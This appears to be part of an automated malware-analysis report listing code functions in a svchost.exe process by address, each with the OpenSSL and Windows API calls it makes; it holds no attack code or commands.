Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB426A90 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_num,OPENSSL_sk_new_reserve,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_value,OSSL_PARAM_construct_int,OSSL_PARAM_construct_end,X509_VERIFY_PARAM_get_depth,X509_VERIFY_PARAM_set_depth,CRYPTO_dup_ex_data,X509_VERIFY_PARAM_inherit,OPENSSL_sk_dup,OPENSSL_sk_dup,	26_2_00007FFBAB426A90
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB412A80 CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB412A80
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB486A30 CRYPTO_memcmp,ERR_new,ERR_set_debug,memchr,ERR_new,CRYPTO_free,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB486A30
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB434A20 ERR_new,ERR_set_debug,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,ERR_new,ERR_set_debug,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB434A20
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45A910 CRYPTO_zalloc,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_free,OPENSSL_LH_free,CRYPTO_free,	26_2_00007FFBAB45A910
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4568B0 CRYPTO_zalloc,CRYPTO_free,	26_2_00007FFBAB4568B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB43A8B0 EVP_PKEY_new,CRYPTO_malloc,CRYPTO_malloc,ERR_set_mark,EVP_PKEY_set_type,EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_CTX_free,OBJ_txt2nid,OBJ_txt2nid,OBJ_txt2nid,ERR_pop_to_mark,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,	26_2_00007FFBAB43A8B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB49A8B0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,memcmp,OPENSSL_sk_num,OPENSSL_sk_value,ERR_new,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_dup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_free,ERR_new,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB49A8B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45E960 BIO_ADDR_family,BIO_ADDR_family,memcmp,BIO_ADDR_family,BIO_ADDR_family,memcmp,CRYPTO_malloc,BIO_ADDR_clear,BIO_ADDR_clear,	26_2_00007FFBAB45E960
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB482930 CRYPTO_realloc,	26_2_00007FFBAB482930
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46A940 CRYPTO_zalloc,	26_2_00007FFBAB46A940
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB412940 CRYPTO_zalloc,_beginthreadex,CRYPTO_free,	26_2_00007FFBAB412940
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45CFF0 CRYPTO_realloc,	26_2_00007FFBAB45CFF0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB47AFE0 CRYPTO_free,	26_2_00007FFBAB47AFE0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB41D010 EVP_PKEY_free,X509_free,EVP_PKEY_free,OSSL_STACK_OF_X509_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB41D010
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB431000 CRYPTO_malloc,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,CRYPTO_realloc,memcpy,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,	26_2_00007FFBAB431000
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB47EFA0 CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,ERR_new,ERR_set_debug,	26_2_00007FFBAB47EFA0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB472FA0 ERR_new,ERR_set_debug,EVP_CIPHER_CTX_get0_cipher,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_set_mark,ERR_pop_to_mark,ERR_new,ERR_set_debug,ERR_clear_last_mark,EVP_CIPHER_CTX_get0_cipher,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,	26_2_00007FFBAB472FA0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB498FD0 CRYPTO_free,CRYPTO_malloc,ERR_new,RAND_bytes_ex,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,	26_2_00007FFBAB498FD0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB416FC0 EVP_MD_get_size,EVP_CIPHER_get_iv_length,EVP_CIPHER_get_key_length,CRYPTO_clear_free,CRYPTO_malloc,ERR_new,ERR_set_debug,	26_2_00007FFBAB416FC0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB425070 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	26_2_00007FFBAB425070
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB491090 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB491090
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB411030 GetEnvironmentVariableW,GetACP,MultiByteToWideChar,malloc,MultiByteToWideChar,GetEnvironmentVariableW,malloc,GetEnvironmentVariableW,WideCharToMultiByte,CRYPTO_malloc,WideCharToMultiByte,CRYPTO_free,free,free,getenv,	26_2_00007FFBAB411030
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB425050 CRYPTO_set_ex_data,	26_2_00007FFBAB425050
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB463040 RAND_priv_bytes_ex,CRYPTO_zalloc,EVP_CIPHER_fetch,EVP_CIPHER_CTX_new,EVP_CIPHER_free,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_free,OPENSSL_LH_doall,OPENSSL_LH_free,EVP_CIPHER_CTX_free,CRYPTO_free,EVP_CIPHER_free,	26_2_00007FFBAB463040
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB47B040 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB47B040
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB435040 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB435040
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB430EF0 CRYPTO_malloc,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,	26_2_00007FFBAB430EF0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB462F00 OPENSSL_LH_free,OPENSSL_LH_free,EVP_CIPHER_CTX_free,CRYPTO_free,	26_2_00007FFBAB462F00
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46EED0 CRYPTO_malloc,CRYPTO_free,	26_2_00007FFBAB46EED0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB43CED0 CRYPTO_free,memset,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB43CED0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB462F60 EVP_EncryptUpdate,OPENSSL_LH_retrieve,	26_2_00007FFBAB462F60
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB486F60 memchr,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB486F60
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB462DB0 OPENSSL_LH_retrieve,CRYPTO_free,OPENSSL_LH_delete,OPENSSL_LH_retrieve,OPENSSL_LH_insert,OPENSSL_LH_error,OPENSSL_LH_delete,CRYPTO_free,	26_2_00007FFBAB462DB0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB41EDB0 CRYPTO_THREAD_run_once,	26_2_00007FFBAB41EDB0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46EDD0 OPENSSL_cleanse,CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB46EDD0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB42CDC0 CRYPTO_malloc,CRYPTO_clear_free,	26_2_00007FFBAB42CDC0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB414E80 CRYPTO_free,	26_2_00007FFBAB414E80
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB43CD10 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB43CD10
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46ED00 OPENSSL_cleanse,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB46ED00
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB434CB0 CRYPTO_zalloc,CRYPTO_new_ex_data,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free_ex_data,OPENSSL_cleanse,OPENSSL_cleanse,X509_free,EVP_PKEY_free,OSSL_STACK_OF_X509_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_clear_free,memcpy,	26_2_00007FFBAB434CB0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB478CA0 CRYPTO_zalloc,OSSL_PARAM_get_int,ERR_new,OSSL_PARAM_get_uint,ERR_new,strcmp,OSSL_PARAM_get_uint32,ERR_new,strcmp,OSSL_PARAM_get_int,ERR_new,OSSL_PARAM_get_int,ERR_new,ERR_new,ERR_set_debug,BIO_up_ref,BIO_free,BIO_up_ref,BIO_up_ref,ERR_new,ERR_set_debug,ERR_set_error,EVP_CIPHER_is_a,EVP_CIPHER_is_a,	26_2_00007FFBAB478CA0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB41ECD0 COMP_get_type,CRYPTO_malloc,COMP_get_name,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_sort,	26_2_00007FFBAB41ECD0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB484CC0 EVP_MD_CTX_new,EVP_PKEY_new_raw_private_key_ex,EVP_DigestSignInit_ex,EVP_DigestSign,EVP_MD_CTX_free,EVP_PKEY_free,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,_time64,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_free,EVP_PKEY_free,ERR_new,ERR_set_debug,EVP_MD_CTX_free,EVP_PKEY_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB484CC0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB490D80 CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB490D80
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB444D30 SRP_Calc_u_ex,BN_num_bits,CRYPTO_malloc,ERR_new,ERR_set_debug,BN_bn2bin,BN_clear_free,BN_clear_free,	26_2_00007FFBAB444D30
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4523F0 CRYPTO_free,	26_2_00007FFBAB4523F0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB498414 ERR_new,ERR_set_debug,OPENSSL_sk_new_null,ERR_new,ERR_set_debug,X509_new_ex,d2i_X509,CRYPTO_free,CRYPTO_memcmp,ERR_new,ERR_set_debug,OPENSSL_sk_push,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_value,X509_get0_pubkey,ERR_new,ERR_set_debug,X509_free,OPENSSL_sk_shift,OSSL_STACK_OF_X509_free,EVP_PKEY_free,ERR_new,ERR_set_debug,X509_free,OSSL_STACK_OF_X509_free,	26_2_00007FFBAB498414
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB448400 CRYPTO_free,CRYPTO_free,CRYPTO_free,GetCurrentProcessId,OpenSSL_version,BIO_snprintf,	26_2_00007FFBAB448400
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4123C0 CloseHandle,CloseHandle,DeleteCriticalSection,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB4123C0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB452470 CRYPTO_zalloc,	26_2_00007FFBAB452470
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB412460 CRYPTO_malloc,CRYPTO_zalloc,InitializeCriticalSection,CreateSemaphoreA,CreateSemaphoreA,CloseHandle,CRYPTO_free,	26_2_00007FFBAB412460
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB494460 EVP_MD_CTX_new,ERR_new,ERR_set_debug,ERR_new,EVP_MD_get0_name,EVP_DigestSignInit_ex,ERR_new,EVP_PKEY_CTX_set_rsa_padding,EVP_PKEY_CTX_set_rsa_pss_saltlen,ERR_new,EVP_DigestSignUpdate,EVP_MD_CTX_ctrl,EVP_DigestSignFinal,CRYPTO_malloc,EVP_DigestSignFinal,ERR_new,ERR_new,EVP_DigestSign,ERR_new,CRYPTO_malloc,EVP_DigestSign,BUF_reverse,ERR_new,CRYPTO_free,EVP_MD_CTX_free,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_MD_CTX_free,	26_2_00007FFBAB494460
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB434490 CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,	26_2_00007FFBAB434490
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB498426 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,	26_2_00007FFBAB498426
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB430450 CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	26_2_00007FFBAB430450
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB49844C CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB49844C
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4722F0 BIO_write_ex,BIO_write_ex,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB4722F0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB47A2E0 RAND_bytes_ex,CRYPTO_malloc,memset,	26_2_00007FFBAB47A2E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4982E7 ERR_new,ERR_set_debug,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,memcpy,ERR_new,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB4982E7
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4202B0 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc,strncmp,CRYPTO_free,OPENSSL_sk_new_null,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_free,OPENSSL_sk_delete,OPENSSL_sk_num,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_set_cmp_func,OPENSSL_sk_sort,OPENSSL_sk_free,	26_2_00007FFBAB4202B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45A2C0 CRYPTO_zalloc,OPENSSL_LH_insert,OPENSSL_LH_error,OPENSSL_LH_insert,OPENSSL_LH_error,OPENSSL_LH_delete,CRYPTO_free,	26_2_00007FFBAB45A2C0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4162C0 CRYPTO_clear_free,	26_2_00007FFBAB4162C0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB43C2C0 CRYPTO_free,	26_2_00007FFBAB43C2C0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4902C0 CRYPTO_zalloc,CRYPTO_malloc,CRYPTO_free,memcpy,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB4902C0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB434380 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	26_2_00007FFBAB434380
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB44A330 CRYPTO_zalloc,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_free,CRYPTO_free,	26_2_00007FFBAB44A330
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB444330 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	26_2_00007FFBAB444330
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB42A330 CRYPTO_memdup,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB42A330
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB480340 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,ERR_new,ERR_set_debug,	26_2_00007FFBAB480340
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4521E0 CRYPTO_zalloc,BIO_ctrl,BIO_ctrl,	26_2_00007FFBAB4521E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4281E0 CRYPTO_get_ex_data,	26_2_00007FFBAB4281E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4641B0 OPENSSL_LH_retrieve,CRYPTO_zalloc,OPENSSL_LH_insert,	26_2_00007FFBAB4641B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46A1D0 CRYPTO_realloc,	26_2_00007FFBAB46A1D0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB434260 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	26_2_00007FFBAB434260
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB42E220 CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,BUF_MEM_free,EVP_MD_CTX_free,X509_free,X509_VERIFY_PARAM_move_peername,CRYPTO_free,	26_2_00007FFBAB42E220
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4240E0 CRYPTO_get_ex_data,	26_2_00007FFBAB4240E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4440E0 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	26_2_00007FFBAB4440E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45C0D0 CRYPTO_free,	26_2_00007FFBAB45C0D0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB468160 CRYPTO_memdup,	26_2_00007FFBAB468160
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB434160 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	26_2_00007FFBAB434160
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB47C190 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,	26_2_00007FFBAB47C190
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB426190 CRYPTO_malloc,CRYPTO_free,	26_2_00007FFBAB426190
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB496190 ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,d2i_PUBKEY_ex,EVP_PKEY_missing_parameters,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_free,	26_2_00007FFBAB496190
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB460130 CRYPTO_zalloc,CRYPTO_free,	26_2_00007FFBAB460130
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB420130 CRYPTO_zalloc,CRYPTO_free,	26_2_00007FFBAB420130
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB458120 CRYPTO_free,	26_2_00007FFBAB458120
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB434120 CRYPTO_set_ex_data,	26_2_00007FFBAB434120
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB438140 CRYPTO_malloc,CRYPTO_realloc,memset,OSSL_PARAM_locate_const,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_strdup,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,OSSL_PARAM_locate_const,CRYPTO_strdup,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,ERR_new,OSSL_PARAM_locate_const,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,ERR_set_mark,EVP_KEYMGMT_free,ERR_pop_to_mark,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB438140
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4127F0 DeleteCriticalSection,CRYPTO_free,	26_2_00007FFBAB4127F0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB48C7E0 ERR_new,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_free,BN_num_bits,BN_bn2bin,CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,CRYPTO_clear_free,CRYPTO_clear_free,	26_2_00007FFBAB48C7E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45E810 CRYPTO_zalloc,	26_2_00007FFBAB45E810
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB418812 ERR_set_debug,CRYPTO_free,CRYPTO_strdup,ERR_new,	26_2_00007FFBAB418812
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB464800 OPENSSL_LH_delete,CRYPTO_free,	26_2_00007FFBAB464800
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4727B0 CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,	26_2_00007FFBAB4727B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4607D0 CRYPTO_malloc,memcpy,CRYPTO_free,	26_2_00007FFBAB4607D0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45A7D0 OPENSSL_LH_set_down_load,OPENSSL_LH_doall_arg,OPENSSL_LH_free,OPENSSL_LH_free,CRYPTO_free,	26_2_00007FFBAB45A7D0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4667D1 BIO_puts,BIO_puts,CRYPTO_zalloc,BIO_printf,BIO_printf,BIO_printf,BIO_printf,BIO_printf,BIO_printf,CRYPTO_free,BIO_puts,	26_2_00007FFBAB4667D1
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB412860 CRYPTO_zalloc,InitializeCriticalSection,	26_2_00007FFBAB412860
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB49C890 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,EVP_PKEY_decrypt_init,EVP_PKEY_CTX_set_rsa_padding,OSSL_PARAM_construct_uint32,OSSL_PARAM_construct_uint32,OSSL_PARAM_construct_end,EVP_PKEY_CTX_set_params,EVP_PKEY_decrypt,OPENSSL_cleanse,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_CTX_free,	26_2_00007FFBAB49C890
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB482880 CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB482880
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB41E880 CRYPTO_THREAD_run_once,	26_2_00007FFBAB41E880
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46A850 CRYPTO_free,CRYPTO_free,CRYPTO_free,	26_2_00007FFBAB46A850
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB468850 CRYPTO_realloc,	26_2_00007FFBAB468850
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB434840 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,	26_2_00007FFBAB434840
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45C700 CRYPTO_malloc,memcmp,memcpy,memcpy,	26_2_00007FFBAB45C700
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB41E700 CRYPTO_malloc,OPENSSL_sk_find,CRYPTO_free,ERR_new,ERR_set_debug,OPENSSL_sk_push,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_set_error,	26_2_00007FFBAB41E700
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46E6D0 CRYPTO_malloc,	26_2_00007FFBAB46E6D0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB460770 CRYPTO_clear_free,CRYPTO_free,	26_2_00007FFBAB460770
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46E790 CRYPTO_free,	26_2_00007FFBAB46E790
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46E730 CRYPTO_free,	26_2_00007FFBAB46E730
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB418720 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	26_2_00007FFBAB418720
